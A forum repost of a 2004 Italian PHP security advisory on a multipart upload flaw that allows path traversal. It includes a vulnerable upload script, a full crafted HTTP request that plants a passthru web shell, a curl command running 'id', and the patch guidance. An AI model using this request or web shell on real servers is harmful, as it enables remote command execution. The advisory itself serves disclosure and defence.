发新话题
打印

[转载]PHP脚本上传漏洞的利用

[转载]PHP脚本上传漏洞的利用

信息来源:www.wisec.it
文章备注:可惜 不是英语的 但是反正代码是相通的

Vulnerabilità PHP - Proof of Concept

Titolo:
Sovrascrittura dell'array $_FILE in relazione alla rfc1867 - Mime multipart/form-data File Upload.
Autore:
Stefano Di Paola
Vulnerabili:
Php <= 5.0.1
Non Vulnerabili:
Nessuno
Tipo di Vulnerabilità:
Possibile scrittura di un file "uploadato" in una directory arbitraria.
Risorse:
Pubblicato su Bugtraq e VulnWatch
Descrizione:
L&#39;implementazione sbagliata del parser degli array nel file rfc1867 potrebbe permettere
la sovrascrittura di alcuni elementi di $_FILES.


Creando, infatti, una richiesta ad hoc per l&#39;upload di un file codificata secondo le specifiche
"multipart/form-data file" è possibile bypassare assegnare all&#39;elemento &#39;name&#39; del vettore $_FILE
un valore arbitrario.
In particolare se nello script il nome dell&#39;elemento di riferimento per l&#39;upload contiene
una &#39;_&#39; (underscore) tipo "user_file", allora la vulnerabilità è una falla di sicurezza.
Utilizzando l&#39;esempio 34-2. Validating file uploads (cambiando &#39;userfile&#39; in &#39;user_file&#39;)
come spiegato in http://www.php.net/manual/en/features.file-upload.php :
-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.

$uploaddir = &#39;/var/www/uploads/&#39;;
$uploadfile = $uploaddir . $_FILES[&#39;user_file&#39;][&#39;name&#39;];

print "<pre>";
if (is_uploaded_file($_FILES[&#39;user_file&#39;][&#39;tmp_name&#39;]) && move_uploaded_file($_FILES[&#39;user_file&#39;][&#39;tmp_name&#39;], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here&#39;s some more debugging info:\n";
   print_r($_FILES);
} else {
   print "Possible file upload attack!  Here&#39;s some debugging info:\n";
   print_r($_FILES);
}
print "</pre>";

?>
----end file: upload.php------
N.B La funzione php is_uploaded_file è stata aggiunta per dimostrare che questo controllo è bypassabile.

Supponiamo che /var/www/html/ sia scrivibile dall&#39;utente apache (o una qualunque altra directory nella radice di apache).
$: (cat form)|nc 127.0.0.1 80

<pre>
File is valid, and was successfully uploaded.
Here&#39;s some more debugging info:

Array(
      [user_file] =>Array(
                     [name] =>  ../html/passt.php
                     [tmp_name] => /tmp/phpucjLV1
                     [error] => 0
                     [size] => 30
                     [type] => application/octet-stream
                  )
      )
</pre>
Dove form è la seguente:

-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET[&#39;cm&#39;]);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET[&#39;cm&#39;]);
?>


-----8<---endform----8<-----
Guardando da vicino la richiesta si può notare che il nome del file viene valorizzato da &#39;Content-Type: ../html/passt.php&#39; e non da filename=&#39;p.php&#39;
La seconda sezione è inserita solo per dare una parvenza di normalità permettendo al php di valorizzare anche l&#39;elemento &#39;type&#39;, ma è più un esercizio di stile che altro...
Verifichiamo che tutto sia andato a buon fine:

$: curl "127.0.0.1/passt.php?cm=id"
uid=72(apache) gid=72(apache) groups=72(apache)

Fatto?...Fatto!
Il Problema
Il problema è dovuto al fatto che, come si può vedere nella form, giocando con le parentesi quadre e aggiungendo in coda qualunque cosa tranne una &#39;]&#39;, si può fare in modo che vi sia un parsing sbagliato della variabile, risultando, in questo modo, un array diverso da quello atteso.
Non andrò troppo nello specifico dell&#39;errore nel codice, basti sapere che il problema sta nel fatto che il nome del parametro &#39;name&#39; nella richiesta, viene visto prima come una Stringa semplice (non array) e poi viene
&#39;riparsato&#39; dalla funzione php_register_varibles che la vede invece come un array, generando così una incongruenza
Questa incongruenza può essere sfruttata per riscrivere i valori degli elementi &#39;name&#39; e &#39;type&#39; diventando così una falla di sicurezza.

La Soluzione
La soluzione più semplice è scaricare e installare php 5.0.2 o 4.3.9 che sono state rilasciate da un paio di giorni.
Una soluzione alternativa è quella di controllare che $_FILES[][&#39;name&#39;] sia realmente solo un nome di file, per fare ciò basta usare qualcosa del genere:
$nomefile=basename($_FILES[][&#39;name&#39;]);


Firenze, Domenica 26 Settembre 2004

Un&#39;Idea sviluppata e mantenuta da...
Wisec is written and mantained by Stefano Di Paola.

Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.

TOP

发新话题